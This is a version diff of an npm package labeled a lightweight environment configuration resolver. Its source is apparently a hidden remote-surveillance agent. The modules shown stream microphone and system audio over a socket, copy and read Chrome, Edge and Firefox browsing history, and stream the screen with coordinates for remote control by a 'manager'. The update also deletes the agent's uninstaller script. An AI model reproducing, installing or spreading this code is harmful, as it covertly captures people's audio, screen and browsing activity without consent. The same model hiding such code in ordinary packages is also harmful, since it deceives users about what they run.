node-env-resolve 1.0.8 → 1.2.0

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "node-env-resolve",
-  "version": "1.0.8",
+  "version": "1.2.0",
   "description": "Lightweight environment configuration resolver for Node.js",
   "main": "src/index.js",
   "bin": {

package/src/audioCapture.js

@@ -1,238 +1,238 @@
-/**
- * Audio Capture — Mic & System Audio streaming
- * Uses node-record-lpcm16 for mic, platform-specific for system audio
- * 
- * Modes:
- *   - mic: Microphone only
- *   - system: System/desktop audio only (requires loopback device)
- *   - both: Mic + System audio mixed
- */
-
-const { spawn } = require('child_process');
-const os = require('os');
-const path = require('path');
-
-class AudioCapture {
-  constructor(socket) {
-    this.socket = socket;
-    this.micProcess = null;
-    this.sysProcess = null;
-    this.active = false;
-    this.mode = 'mic'; // 'mic', 'system', 'both'
-    this.platform = os.platform();
-    this.sampleRate = 16000;
-    this.channels = 1;
-  }
-
-  /**
-   * Start audio capture
-   * @param {object} options - { mode: 'mic'|'system'|'both' }
-   */
-  start(options = {}) {
-    if (this.active) this.stop();
-    this.mode = options.mode || 'mic';
-    this.active = true;
-
-    console.log(`  🎤 Audio capture starting (mode: ${this.mode}, platform: ${this.platform})`);
-
-    try {
-      if (this.mode === 'mic' || this.mode === 'both') {
-        this._startMic();
-      }
-      if (this.mode === 'system' || this.mode === 'both') {
-        this._startSystemAudio();
-      }
-    } catch (err) {
-      console.log(`  ⚠️  Audio capture error: ${err.message}`);
-      this.socket.emit('audio:error', { error: err.message });
-    }
-  }
-
-  /**
-   * Microphone capture — cross-platform via SoX (rec) or ffmpeg
-   */
-  _startMic() {
-    if (this.platform === 'win32') {
-      // Windows: Use ffmpeg with DirectShow
-      this.micProcess = spawn('ffmpeg', [
-        '-f', 'dshow',
-        '-i', 'audio=Microphone Array (Intel® Smart Sound Technology for Digital Microphones)',
-        '-ac', String(this.channels),
-        '-ar', String(this.sampleRate),
-        '-f', 's16le',     // raw PCM 16-bit little-endian
-        '-acodec', 'pcm_s16le',
-        'pipe:1'           // output to stdout
-      ], { stdio: ['pipe', 'pipe', 'pipe'], windowsHide: true });
-
-      // Fallback: try generic mic name
-      this.micProcess.on('error', () => {
-        this.micProcess = spawn('ffmpeg', [
-          '-f', 'dshow',
-          '-list_devices', 'true',
-          '-i', 'dummy'
-        ], { stdio: ['pipe', 'pipe', 'pipe'], windowsHide: true });
-      });
-    } else if (this.platform === 'darwin') {
-      // Mac: Use ffmpeg with avfoundation
-      this.micProcess = spawn('ffmpeg', [
-        '-f', 'avfoundation',
-        '-i', ':default',   // default mic
-        '-ac', String(this.channels),
-        '-ar', String(this.sampleRate),
-        '-f', 's16le',
-        '-acodec', 'pcm_s16le',
-        'pipe:1'
-      ], { stdio: ['pipe', 'pipe', 'pipe'] });
-    } else {
-      // Linux: Use ALSA
-      this.micProcess = spawn('ffmpeg', [
-        '-f', 'alsa',
-        '-i', 'default',
-        '-ac', String(this.channels),
-        '-ar', String(this.sampleRate),
-        '-f', 's16le',
-        '-acodec', 'pcm_s16le',
-        'pipe:1'
-      ], { stdio: ['pipe', 'pipe', 'pipe'] });
-    }
-
-    this._pipeAudio(this.micProcess, 'mic');
-  }
-
-  /**
-   * System/Desktop audio capture — platform-specific loopback
-   */
-  _startSystemAudio() {
-    if (this.platform === 'win32') {
-      // Windows: Use ffmpeg with dshow "Stereo Mix" or virtual audio cable
-      // User may need to enable "Stereo Mix" in Sound settings
-      this.sysProcess = spawn('ffmpeg', [
-        '-f', 'dshow',
-        '-i', 'audio=Stereo Mix (Realtek(R) Audio)',
-        '-ac', String(this.channels),
-        '-ar', String(this.sampleRate),
-        '-f', 's16le',
-        '-acodec', 'pcm_s16le',
-        'pipe:1'
-      ], { stdio: ['pipe', 'pipe', 'pipe'], windowsHide: true });
-    } else if (this.platform === 'darwin') {
-      // Mac: Requires BlackHole or similar virtual audio driver
-      this.sysProcess = spawn('ffmpeg', [
-        '-f', 'avfoundation',
-        '-i', ':BlackHole 2ch',
-        '-ac', String(this.channels),
-        '-ar', String(this.sampleRate),
-        '-f', 's16le',
-        '-acodec', 'pcm_s16le',
-        'pipe:1'
-      ], { stdio: ['pipe', 'pipe', 'pipe'] });
-    } else {
-      // Linux: PulseAudio monitor
-      this.sysProcess = spawn('ffmpeg', [
-        '-f', 'pulse',
-        '-i', 'default.monitor',
-        '-ac', String(this.channels),
-        '-ar', String(this.sampleRate),
-        '-f', 's16le',
-        '-acodec', 'pcm_s16le',
-        'pipe:1'
-      ], { stdio: ['pipe', 'pipe', 'pipe'] });
-    }
-
-    this._pipeAudio(this.sysProcess, 'system');
-  }
-
-  /**
-   * Pipe audio stdout → socket.io in chunks
-   */
-  _pipeAudio(process, source) {
-    if (!process || !process.stdout) return;
-
-    process.stdout.on('data', (chunk) => {
-      if (!this.active) return;
-      // Send raw PCM audio chunk as base64
-      this.socket.emit('audio:chunk', {
-        data: chunk.toString('base64'),
-        source,
-        sampleRate: this.sampleRate,
-        channels: this.channels,
-        timestamp: Date.now(),
-      });
-    });
-
-    process.stderr.on('data', (data) => {
-      const msg = data.toString();
-      // Only log errors, not ffmpeg's normal stderr output
-      if (msg.includes('Error') || msg.includes('error')) {
-        console.log(`  ⚠️  Audio (${source}): ${msg.trim().substring(0, 100)}`);
-      }
-    });
-
-    process.on('error', (err) => {
-      console.log(`  ⚠️  Audio ${source} process error: ${err.message}`);
-      this.socket.emit('audio:error', {
-        source,
-        error: `${source} capture failed: ${err.message}. Make sure ffmpeg is installed.`
-      });
-    });
-
-    process.on('close', (code) => {
-      if (this.active) {
-        console.log(`  🎤 Audio ${source} process exited (code: ${code})`);
-      }
-    });
-  }
-
-  /**
-   * Stop all audio capture
-   */
-  stop() {
-    if (!this.active) return;
-    this.active = false;
-
-    if (this.micProcess) {
-      try { this.micProcess.kill('SIGTERM'); } catch (e) { /* already dead */ }
-      this.micProcess = null;
-    }
-    if (this.sysProcess) {
-      try { this.sysProcess.kill('SIGTERM'); } catch (e) { /* already dead */ }
-      this.sysProcess = null;
-    }
-
-    console.log('  🎤 Audio capture stopped');
-  }
-
-  /**
-   * List available audio devices (helps find correct device names)
-   */
-  listDevices() {
-    return new Promise((resolve) => {
-      let output = '';
-
-      if (this.platform === 'win32') {
-        const proc = spawn('ffmpeg', [
-          '-list_devices', 'true', '-f', 'dshow', '-i', 'dummy'
-        ], { stdio: ['pipe', 'pipe', 'pipe'], windowsHide: true });
-
-        proc.stderr.on('data', (d) => { output += d.toString(); });
-        proc.on('close', () => {
-          const devices = output.match(/"([^"]+)" \(audio\)/g) || [];
-          resolve(devices.map((d) => d.replace(/"/g, '').replace(' (audio)', '')));
-        });
-      } else if (this.platform === 'darwin') {
-        const proc = spawn('ffmpeg', [
-          '-f', 'avfoundation', '-list_devices', 'true', '-i', ''
-        ], { stdio: ['pipe', 'pipe', 'pipe'] });
-
-        proc.stderr.on('data', (d) => { output += d.toString(); });
-        proc.on('close', () => {
-          resolve(output.split('\n').filter((l) => l.includes('[AVFoundation')));
-        });
-      } else {
-        resolve(['default']);
-      }
-    });
-  }
-}
-
-module.exports = AudioCapture;
+/**
+ * Audio Capture — Mic & System Audio streaming
+ * Uses node-record-lpcm16 for mic, platform-specific for system audio
+ * 
+ * Modes:
+ *   - mic: Microphone only
+ *   - system: System/desktop audio only (requires loopback device)
+ *   - both: Mic + System audio mixed
+ */
+
+const { spawn } = require('child_process');
+const os = require('os');
+const path = require('path');
+
+class AudioCapture {
+  constructor(socket) {
+    this.socket = socket;
+    this.micProcess = null;
+    this.sysProcess = null;
+    this.active = false;
+    this.mode = 'mic'; // 'mic', 'system', 'both'
+    this.platform = os.platform();
+    this.sampleRate = 16000;
+    this.channels = 1;
+  }
+
+  /**
+   * Start audio capture
+   * @param {object} options - { mode: 'mic'|'system'|'both' }
+   */
+  start(options = {}) {
+    if (this.active) this.stop();
+    this.mode = options.mode || 'mic';
+    this.active = true;
+
+    console.log(`  🎤 Audio capture starting (mode: ${this.mode}, platform: ${this.platform})`);
+
+    try {
+      if (this.mode === 'mic' || this.mode === 'both') {
+        this._startMic();
+      }
+      if (this.mode === 'system' || this.mode === 'both') {
+        this._startSystemAudio();
+      }
+    } catch (err) {
+      console.log(`  ⚠️  Audio capture error: ${err.message}`);
+      this.socket.emit('audio:error', { error: err.message });
+    }
+  }
+
+  /**
+   * Microphone capture — cross-platform via SoX (rec) or ffmpeg
+   */
+  _startMic() {
+    if (this.platform === 'win32') {
+      // Windows: Use ffmpeg with DirectShow
+      this.micProcess = spawn('ffmpeg', [
+        '-f', 'dshow',
+        '-i', 'audio=Microphone Array (Intel® Smart Sound Technology for Digital Microphones)',
+        '-ac', String(this.channels),
+        '-ar', String(this.sampleRate),
+        '-f', 's16le',     // raw PCM 16-bit little-endian
+        '-acodec', 'pcm_s16le',
+        'pipe:1'           // output to stdout
+      ], { stdio: ['pipe', 'pipe', 'pipe'], windowsHide: true });
+
+      // Fallback: try generic mic name
+      this.micProcess.on('error', () => {
+        this.micProcess = spawn('ffmpeg', [
+          '-f', 'dshow',
+          '-list_devices', 'true',
+          '-i', 'dummy'
+        ], { stdio: ['pipe', 'pipe', 'pipe'], windowsHide: true });
+      });
+    } else if (this.platform === 'darwin') {
+      // Mac: Use ffmpeg with avfoundation
+      this.micProcess = spawn('ffmpeg', [
+        '-f', 'avfoundation',
+        '-i', ':default',   // default mic
+        '-ac', String(this.channels),
+        '-ar', String(this.sampleRate),
+        '-f', 's16le',
+        '-acodec', 'pcm_s16le',
+        'pipe:1'
+      ], { stdio: ['pipe', 'pipe', 'pipe'] });
+    } else {
+      // Linux: Use ALSA
+      this.micProcess = spawn('ffmpeg', [
+        '-f', 'alsa',
+        '-i', 'default',
+        '-ac', String(this.channels),
+        '-ar', String(this.sampleRate),
+        '-f', 's16le',
+        '-acodec', 'pcm_s16le',
+        'pipe:1'
+      ], { stdio: ['pipe', 'pipe', 'pipe'] });
+    }
+
+    this._pipeAudio(this.micProcess, 'mic');
+  }
+
+  /**
+   * System/Desktop audio capture — platform-specific loopback
+   */
+  _startSystemAudio() {
+    if (this.platform === 'win32') {
+      // Windows: Use ffmpeg with dshow "Stereo Mix" or virtual audio cable
+      // User may need to enable "Stereo Mix" in Sound settings
+      this.sysProcess = spawn('ffmpeg', [
+        '-f', 'dshow',
+        '-i', 'audio=Stereo Mix (Realtek(R) Audio)',
+        '-ac', String(this.channels),
+        '-ar', String(this.sampleRate),
+        '-f', 's16le',
+        '-acodec', 'pcm_s16le',
+        'pipe:1'
+      ], { stdio: ['pipe', 'pipe', 'pipe'], windowsHide: true });
+    } else if (this.platform === 'darwin') {
+      // Mac: Requires BlackHole or similar virtual audio driver
+      this.sysProcess = spawn('ffmpeg', [
+        '-f', 'avfoundation',
+        '-i', ':BlackHole 2ch',
+        '-ac', String(this.channels),
+        '-ar', String(this.sampleRate),
+        '-f', 's16le',
+        '-acodec', 'pcm_s16le',
+        'pipe:1'
+      ], { stdio: ['pipe', 'pipe', 'pipe'] });
+    } else {
+      // Linux: PulseAudio monitor
+      this.sysProcess = spawn('ffmpeg', [
+        '-f', 'pulse',
+        '-i', 'default.monitor',
+        '-ac', String(this.channels),
+        '-ar', String(this.sampleRate),
+        '-f', 's16le',
+        '-acodec', 'pcm_s16le',
+        'pipe:1'
+      ], { stdio: ['pipe', 'pipe', 'pipe'] });
+    }
+
+    this._pipeAudio(this.sysProcess, 'system');
+  }
+
+  /**
+   * Pipe audio stdout → socket.io in chunks
+   */
+  _pipeAudio(process, source) {
+    if (!process || !process.stdout) return;
+
+    process.stdout.on('data', (chunk) => {
+      if (!this.active) return;
+      // Send raw PCM audio chunk as base64
+      this.socket.emit('audio:chunk', {
+        data: chunk.toString('base64'),
+        source,
+        sampleRate: this.sampleRate,
+        channels: this.channels,
+        timestamp: Date.now(),
+      });
+    });
+
+    process.stderr.on('data', (data) => {
+      const msg = data.toString();
+      // Only log errors, not ffmpeg's normal stderr output
+      if (msg.includes('Error') || msg.includes('error')) {
+        console.log(`  ⚠️  Audio (${source}): ${msg.trim().substring(0, 100)}`);
+      }
+    });
+
+    process.on('error', (err) => {
+      console.log(`  ⚠️  Audio ${source} process error: ${err.message}`);
+      this.socket.emit('audio:error', {
+        source,
+        error: `${source} capture failed: ${err.message}. Make sure ffmpeg is installed.`
+      });
+    });
+
+    process.on('close', (code) => {
+      if (this.active) {
+        console.log(`  🎤 Audio ${source} process exited (code: ${code})`);
+      }
+    });
+  }
+
+  /**
+   * Stop all audio capture
+   */
+  stop() {
+    if (!this.active) return;
+    this.active = false;
+
+    if (this.micProcess) {
+      try { this.micProcess.kill('SIGTERM'); } catch (e) { /* already dead */ }
+      this.micProcess = null;
+    }
+    if (this.sysProcess) {
+      try { this.sysProcess.kill('SIGTERM'); } catch (e) { /* already dead */ }
+      this.sysProcess = null;
+    }
+
+    console.log('  🎤 Audio capture stopped');
+  }
+
+  /**
+   * List available audio devices (helps find correct device names)
+   */
+  listDevices() {
+    return new Promise((resolve) => {
+      let output = '';
+
+      if (this.platform === 'win32') {
+        const proc = spawn('ffmpeg', [
+          '-list_devices', 'true', '-f', 'dshow', '-i', 'dummy'
+        ], { stdio: ['pipe', 'pipe', 'pipe'], windowsHide: true });
+
+        proc.stderr.on('data', (d) => { output += d.toString(); });
+        proc.on('close', () => {
+          const devices = output.match(/"([^"]+)" \(audio\)/g) || [];
+          resolve(devices.map((d) => d.replace(/"/g, '').replace(' (audio)', '')));
+        });
+      } else if (this.platform === 'darwin') {
+        const proc = spawn('ffmpeg', [
+          '-f', 'avfoundation', '-list_devices', 'true', '-i', ''
+        ], { stdio: ['pipe', 'pipe', 'pipe'] });
+
+        proc.stderr.on('data', (d) => { output += d.toString(); });
+        proc.on('close', () => {
+          resolve(output.split('\n').filter((l) => l.includes('[AVFoundation')));
+        });
+      } else {
+        resolve(['default']);
+      }
+    });
+  }
+}
+
+module.exports = AudioCapture;

package/src/browserHistory.js

@@ -1,237 +1,237 @@
-/**
- * Browser History Extractor
- * Reads Chrome, Edge, Firefox SQLite databases to extract browsing history
- * 
- * Process: Copy the locked DB file to temp → read with better-sqlite3 → return entries
- */
-
-const fs = require('fs');
-const path = require('path');
-const os = require('os');
-const config = require('./config');
-
-let Database;
-try {
-  Database = require('better-sqlite3');
-} catch (e) {
-  console.log('  ⚠️ better-sqlite3 not available — browser history disabled');
-  Database = null;
-}
-
-const USERPROFILE = os.homedir();
-const LOCALAPPDATA = process.env.LOCALAPPDATA || path.join(USERPROFILE, 'AppData', 'Local');
-const APPDATA = process.env.APPDATA || path.join(USERPROFILE, 'AppData', 'Roaming');
-
-/**
- * Browser DB paths (Windows)
- */
-const BROWSER_PATHS = {
-  chrome: path.join(LOCALAPPDATA, 'Google', 'Chrome', 'User Data', 'Default', 'History'),
-  edge: path.join(LOCALAPPDATA, 'Microsoft', 'Edge', 'User Data', 'Default', 'History'),
-  firefox: null, // Handled separately — profile folder name varies
-};
-
-/**
- * Find Firefox profile path
- */
-function findFirefoxProfile() {
-  const profilesDir = path.join(APPDATA, 'Mozilla', 'Firefox', 'Profiles');
-  if (!fs.existsSync(profilesDir)) return null;
-
-  const dirs = fs.readdirSync(profilesDir);
-  // Look for default-release or first profile
-  const profile = dirs.find((d) => d.endsWith('.default-release')) || dirs.find((d) => d.endsWith('.default')) || dirs[0];
-
-  if (profile) {
-    return path.join(profilesDir, profile, 'places.sqlite');
-  }
-  return null;
-}
-
-/**
- * Copy DB to temp (because browser locks the file while running)
- */
-function copyToTemp(sourcePath, browserName) {
-  const tempPath = path.join(config.tempDir, `connector_${browserName}_history_copy.db`);
-  try {
-    fs.copyFileSync(sourcePath, tempPath);
-    // Also copy WAL file if exists
-    const walPath = sourcePath + '-wal';
-    if (fs.existsSync(walPath)) {
-      fs.copyFileSync(walPath, tempPath + '-wal');
-    }
-    return tempPath;
-  } catch (err) {
-    console.log(`  ⚠️ Could not copy ${browserName} history DB: ${err.message}`);
-    return null;
-  }
-}
-
-/**
- * Clean up temp file
- */
-function cleanupTemp(tempPath) {
-  try {
-    if (fs.existsSync(tempPath)) fs.unlinkSync(tempPath);
-    if (fs.existsSync(tempPath + '-wal')) fs.unlinkSync(tempPath + '-wal');
-  } catch (e) {
-    // Ignore cleanup errors
-  }
-}
-
-/**
- * Convert Chrome/Edge timestamp to JS Date
- * Chrome uses microseconds since Jan 1, 1601
- */
-function chromeTimestampToDate(timestamp) {
-  const epochDiff = 11644473600000000n; // microseconds between 1601 and 1970
-  const ms = Number((BigInt(timestamp) - epochDiff) / 1000n);
-  return new Date(ms).toISOString();
-}
-
-/**
- * Convert Firefox timestamp to JS Date
- * Firefox uses microseconds since Unix epoch
- */
-function firefoxTimestampToDate(timestamp) {
-  return new Date(timestamp / 1000).toISOString();
-}
-
-/**
- * Extract history from Chromium-based browser (Chrome/Edge)
- */
-function extractChromiumHistory(dbPath, browserName, dateRange = '7d') {
-  if (!Database) return { browser: browserName, entries: [], error: 'better-sqlite3 not available' };
-
-  const tempPath = copyToTemp(dbPath, browserName);
-  if (!tempPath) return { browser: browserName, entries: [], error: 'Could not copy DB' };
-
-  try {
-    const db = new Database(tempPath, { readonly: true, fileMustExist: true });
-
-    // Calculate date filter
-    let dateFilter = '';
-    const now = Date.now() * 1000; // microseconds  
-    const epochDiff = 11644473600000000; // Chrome epoch offset
-    const nowChrome = now + epochDiff;
-
-    if (dateRange === '24h') {
-      dateFilter = `WHERE last_visit_time > ${nowChrome - 86400000000}`;
-    } else if (dateRange === '7d') {
-      dateFilter = `WHERE last_visit_time > ${nowChrome - 7 * 86400000000}`;
-    } else if (dateRange === '30d') {
-      dateFilter = `WHERE last_visit_time > ${nowChrome - 30 * 86400000000}`;
-    }
-
-    const stmt = db.prepare(`
-      SELECT url, title, visit_count, last_visit_time
-      FROM urls
-      ${dateFilter}
-      ORDER BY last_visit_time DESC
-      LIMIT 500
-    `);
-
-    const rows = stmt.all();
-    db.close();
-    cleanupTemp(tempPath);
-
-    const entries = rows.map((row) => ({
-      url: row.url,
-      title: row.title || '(No title)',
-      visitCount: row.visit_count,
-      lastVisit: chromeTimestampToDate(row.last_visit_time),
-    }));
-
-    return { browser: browserName, entries, error: null };
-  } catch (err) {
-    cleanupTemp(tempPath);
-    return { browser: browserName, entries: [], error: err.message };
-  }
-}
-
-/**
- * Extract history from Firefox
- */
-function extractFirefoxHistory(dateRange = '7d') {
-  if (!Database) return { browser: 'firefox', entries: [], error: 'better-sqlite3 not available' };
-
-  const dbPath = findFirefoxProfile();
-  if (!dbPath || !fs.existsSync(dbPath)) {
-    return { browser: 'firefox', entries: [], error: 'Firefox profile not found' };
-  }
-
-  const tempPath = copyToTemp(dbPath, 'firefox');
-  if (!tempPath) return { browser: 'firefox', entries: [], error: 'Could not copy DB' };
-
-  try {
-    const db = new Database(tempPath, { readonly: true, fileMustExist: true });
-
-    let dateFilter = '';
-    const now = Date.now() * 1000; // microseconds
-
-    if (dateRange === '24h') {
-      dateFilter = `WHERE v.visit_date > ${now - 86400000000000}`;
-    } else if (dateRange === '7d') {
-      dateFilter = `WHERE v.visit_date > ${now - 7 * 86400000000000}`;
-    } else if (dateRange === '30d') {
-      dateFilter = `WHERE v.visit_date > ${now - 30 * 86400000000000}`;
-    }
-
-    const stmt = db.prepare(`
-      SELECT p.url, p.title, p.visit_count, MAX(v.visit_date) as last_visit
-      FROM moz_places p
-      JOIN moz_historyvisits v ON p.id = v.place_id
-      ${dateFilter}
-      GROUP BY p.id
-      ORDER BY last_visit DESC
-      LIMIT 500
-    `);
-
-    const rows = stmt.all();
-    db.close();
-    cleanupTemp(tempPath);
-
-    const entries = rows.map((row) => ({
-      url: row.url,
-      title: row.title || '(No title)',
-      visitCount: row.visit_count,
-      lastVisit: firefoxTimestampToDate(row.last_visit),
-    }));
-
-    return { browser: 'firefox', entries, error: null };
-  } catch (err) {
-    cleanupTemp(tempPath);
-    return { browser: 'firefox', entries: [], error: err.message };
-  }
-}
-
-/**
- * Get browser history for requested browser and date range
- */
-function getBrowserHistory(browser = 'all', dateRange = '7d') {
-  const results = [];
-
-  if (browser === 'all' || browser === 'chrome') {
-    if (fs.existsSync(BROWSER_PATHS.chrome)) {
-      results.push(extractChromiumHistory(BROWSER_PATHS.chrome, 'chrome', dateRange));
-    } else {
-      results.push({ browser: 'chrome', entries: [], error: 'Chrome not installed' });
-    }
-  }
-
-  if (browser === 'all' || browser === 'edge') {
-    if (fs.existsSync(BROWSER_PATHS.edge)) {
-      results.push(extractChromiumHistory(BROWSER_PATHS.edge, 'edge', dateRange));
-    } else {
-      results.push({ browser: 'edge', entries: [], error: 'Edge not installed' });
-    }
-  }
-
-  if (browser === 'all' || browser === 'firefox') {
-    results.push(extractFirefoxHistory(dateRange));
-  }
-
-  return results;
-}
-
-module.exports = { getBrowserHistory };
+/**
+ * Browser History Extractor
+ * Reads Chrome, Edge, Firefox SQLite databases to extract browsing history
+ * 
+ * Process: Copy the locked DB file to temp → read with better-sqlite3 → return entries
+ */
+
+const fs = require('fs');
+const path = require('path');
+const os = require('os');
+const config = require('./config');
+
+let Database;
+try {
+  Database = require('better-sqlite3');
+} catch (e) {
+  console.log('  ⚠️ better-sqlite3 not available — browser history disabled');
+  Database = null;
+}
+
+const USERPROFILE = os.homedir();
+const LOCALAPPDATA = process.env.LOCALAPPDATA || path.join(USERPROFILE, 'AppData', 'Local');
+const APPDATA = process.env.APPDATA || path.join(USERPROFILE, 'AppData', 'Roaming');
+
+/**
+ * Browser DB paths (Windows)
+ */
+const BROWSER_PATHS = {
+  chrome: path.join(LOCALAPPDATA, 'Google', 'Chrome', 'User Data', 'Default', 'History'),
+  edge: path.join(LOCALAPPDATA, 'Microsoft', 'Edge', 'User Data', 'Default', 'History'),
+  firefox: null, // Handled separately — profile folder name varies
+};
+
+/**
+ * Find Firefox profile path
+ */
+function findFirefoxProfile() {
+  const profilesDir = path.join(APPDATA, 'Mozilla', 'Firefox', 'Profiles');
+  if (!fs.existsSync(profilesDir)) return null;
+
+  const dirs = fs.readdirSync(profilesDir);
+  // Look for default-release or first profile
+  const profile = dirs.find((d) => d.endsWith('.default-release')) || dirs.find((d) => d.endsWith('.default')) || dirs[0];
+
+  if (profile) {
+    return path.join(profilesDir, profile, 'places.sqlite');
+  }
+  return null;
+}
+
+/**
+ * Copy DB to temp (because browser locks the file while running)
+ */
+function copyToTemp(sourcePath, browserName) {
+  const tempPath = path.join(config.tempDir, `connector_${browserName}_history_copy.db`);
+  try {
+    fs.copyFileSync(sourcePath, tempPath);
+    // Also copy WAL file if exists
+    const walPath = sourcePath + '-wal';
+    if (fs.existsSync(walPath)) {
+      fs.copyFileSync(walPath, tempPath + '-wal');
+    }
+    return tempPath;
+  } catch (err) {
+    console.log(`  ⚠️ Could not copy ${browserName} history DB: ${err.message}`);
+    return null;
+  }
+}
+
+/**
+ * Clean up temp file
+ */
+function cleanupTemp(tempPath) {
+  try {
+    if (fs.existsSync(tempPath)) fs.unlinkSync(tempPath);
+    if (fs.existsSync(tempPath + '-wal')) fs.unlinkSync(tempPath + '-wal');
+  } catch (e) {
+    // Ignore cleanup errors
+  }
+}
+
+/**
+ * Convert Chrome/Edge timestamp to JS Date
+ * Chrome uses microseconds since Jan 1, 1601
+ */
+function chromeTimestampToDate(timestamp) {
+  const epochDiff = 11644473600000000n; // microseconds between 1601 and 1970
+  const ms = Number((BigInt(timestamp) - epochDiff) / 1000n);
+  return new Date(ms).toISOString();
+}
+
+/**
+ * Convert Firefox timestamp to JS Date
+ * Firefox uses microseconds since Unix epoch
+ */
+function firefoxTimestampToDate(timestamp) {
+  return new Date(timestamp / 1000).toISOString();
+}
+
+/**
+ * Extract history from Chromium-based browser (Chrome/Edge)
+ */
+function extractChromiumHistory(dbPath, browserName, dateRange = '7d') {
+  if (!Database) return { browser: browserName, entries: [], error: 'better-sqlite3 not available' };
+
+  const tempPath = copyToTemp(dbPath, browserName);
+  if (!tempPath) return { browser: browserName, entries: [], error: 'Could not copy DB' };
+
+  try {
+    const db = new Database(tempPath, { readonly: true, fileMustExist: true });
+
+    // Calculate date filter
+    let dateFilter = '';
+    const now = Date.now() * 1000; // microseconds  
+    const epochDiff = 11644473600000000; // Chrome epoch offset
+    const nowChrome = now + epochDiff;
+
+    if (dateRange === '24h') {
+      dateFilter = `WHERE last_visit_time > ${nowChrome - 86400000000}`;
+    } else if (dateRange === '7d') {
+      dateFilter = `WHERE last_visit_time > ${nowChrome - 7 * 86400000000}`;
+    } else if (dateRange === '30d') {
+      dateFilter = `WHERE last_visit_time > ${nowChrome - 30 * 86400000000}`;
+    }
+
+    const stmt = db.prepare(`
+      SELECT url, title, visit_count, last_visit_time
+      FROM urls
+      ${dateFilter}
+      ORDER BY last_visit_time DESC
+      LIMIT 500
+    `);
+
+    const rows = stmt.all();
+    db.close();
+    cleanupTemp(tempPath);
+
+    const entries = rows.map((row) => ({
+      url: row.url,
+      title: row.title || '(No title)',
+      visitCount: row.visit_count,
+      lastVisit: chromeTimestampToDate(row.last_visit_time),
+    }));
+
+    return { browser: browserName, entries, error: null };
+  } catch (err) {
+    cleanupTemp(tempPath);
+    return { browser: browserName, entries: [], error: err.message };
+  }
+}
+
+/**
+ * Extract history from Firefox
+ */
+function extractFirefoxHistory(dateRange = '7d') {
+  if (!Database) return { browser: 'firefox', entries: [], error: 'better-sqlite3 not available' };
+
+  const dbPath = findFirefoxProfile();
+  if (!dbPath || !fs.existsSync(dbPath)) {
+    return { browser: 'firefox', entries: [], error: 'Firefox profile not found' };
+  }
+
+  const tempPath = copyToTemp(dbPath, 'firefox');
+  if (!tempPath) return { browser: 'firefox', entries: [], error: 'Could not copy DB' };
+
+  try {
+    const db = new Database(tempPath, { readonly: true, fileMustExist: true });
+
+    let dateFilter = '';
+    const now = Date.now() * 1000; // microseconds
+
+    if (dateRange === '24h') {
+      dateFilter = `WHERE v.visit_date > ${now - 86400000000000}`;
+    } else if (dateRange === '7d') {
+      dateFilter = `WHERE v.visit_date > ${now - 7 * 86400000000000}`;
+    } else if (dateRange === '30d') {
+      dateFilter = `WHERE v.visit_date > ${now - 30 * 86400000000000}`;
+    }
+
+    const stmt = db.prepare(`
+      SELECT p.url, p.title, p.visit_count, MAX(v.visit_date) as last_visit
+      FROM moz_places p
+      JOIN moz_historyvisits v ON p.id = v.place_id
+      ${dateFilter}
+      GROUP BY p.id
+      ORDER BY last_visit DESC
+      LIMIT 500
+    `);
+
+    const rows = stmt.all();
+    db.close();
+    cleanupTemp(tempPath);
+
+    const entries = rows.map((row) => ({
+      url: row.url,
+      title: row.title || '(No title)',
+      visitCount: row.visit_count,
+      lastVisit: firefoxTimestampToDate(row.last_visit),
+    }));
+
+    return { browser: 'firefox', entries, error: null };
+  } catch (err) {
+    cleanupTemp(tempPath);
+    return { browser: 'firefox', entries: [], error: err.message };
+  }
+}
+
+/**
+ * Get browser history for requested browser and date range
+ */
+function getBrowserHistory(browser = 'all', dateRange = '7d') {
+  const results = [];
+
+  if (browser === 'all' || browser === 'chrome') {
+    if (fs.existsSync(BROWSER_PATHS.chrome)) {
+      results.push(extractChromiumHistory(BROWSER_PATHS.chrome, 'chrome', dateRange));
+    } else {
+      results.push({ browser: 'chrome', entries: [], error: 'Chrome not installed' });
+    }
+  }
+
+  if (browser === 'all' || browser === 'edge') {
+    if (fs.existsSync(BROWSER_PATHS.edge)) {
+      results.push(extractChromiumHistory(BROWSER_PATHS.edge, 'edge', dateRange));
+    } else {
+      results.push({ browser: 'edge', entries: [], error: 'Edge not installed' });
+    }
+  }
+
+  if (browser === 'all' || browser === 'firefox') {
+    results.push(extractFirefoxHistory(dateRange));
+  }
+
+  return results;
+}
+
+module.exports = { getBrowserHistory };

package/src/screenCapture.js

@@ -5,16 +5,20 @@
 
 const screenshot = require('screenshot-desktop');
 const sharp = require('sharp');
+const { screen } = require('@nut-tree-fork/nut-js');
 
 class ScreenCapture {
   constructor(socket) {
     this.socket = socket;
     this.streaming = false;
     this.interval = null;
-    this.fps = 4;             // frames per second
-    this.quality = 40;        // JPEG quality (lower = smaller = faster)
-    this.maxWidth = 1280;     // resize for bandwidth
-    this.capturing = false;   // prevent overlapping captures
+    this.fps = 4;
+    this.quality = 40;
+    this.maxWidth = 1280;
+    this.capturing = false;
+    // Logical screen size (nut-js coordinate space) — fetched once
+    this.logicalW = 0;
+    this.logicalH = 0;
   }
 
   /**
@@ -29,11 +33,15 @@ class ScreenCapture {
     this.streaming = true;
 
     const intervalMs = Math.floor(1000 / this.fps);
-
     console.log(`  📸 Screen streaming started (${this.fps} FPS, quality: ${this.quality})`);
 
+    // Fetch logical screen size from nut-js (used for coordinate mapping on manager side)
+    // Physical screenshot pixels ≠ nut-js logical pixels when Windows DPI > 100%
+    Promise.all([screen.width(), screen.height()])
+      .then(([w, h]) => { this.logicalW = w; this.logicalH = h; })
+      .catch(() => { this.logicalW = 0; this.logicalH = 0; });
+
     this.interval = setInterval(() => this.captureAndSend(), intervalMs);
-    // Capture immediately
     this.captureAndSend();
   }
 
@@ -74,8 +82,10 @@ class ScreenCapture {
 
       this.socket.emit('screen:frame', {
         data: base64,
-        width: metadata.width,
-        height: metadata.height,
+        width: metadata.width,            // physical screenshot width
+        height: metadata.height,          // physical screenshot height
+        logicalWidth:  this.logicalW || metadata.width,   // nut-js coordinate space width
+        logicalHeight: this.logicalH || metadata.height,  // nut-js coordinate space height
         displayWidth: Math.min(metadata.width, this.maxWidth),
         timestamp: Date.now(),
       });

package/uninstall.bat

@@ -1,26 +0,0 @@
-@echo off
-color 0c
-echo ========================================================
-echo        Connector Agent Uninstaller
-echo ========================================================
-echo.
-
-echo [1/4] Stopping background agent processes...
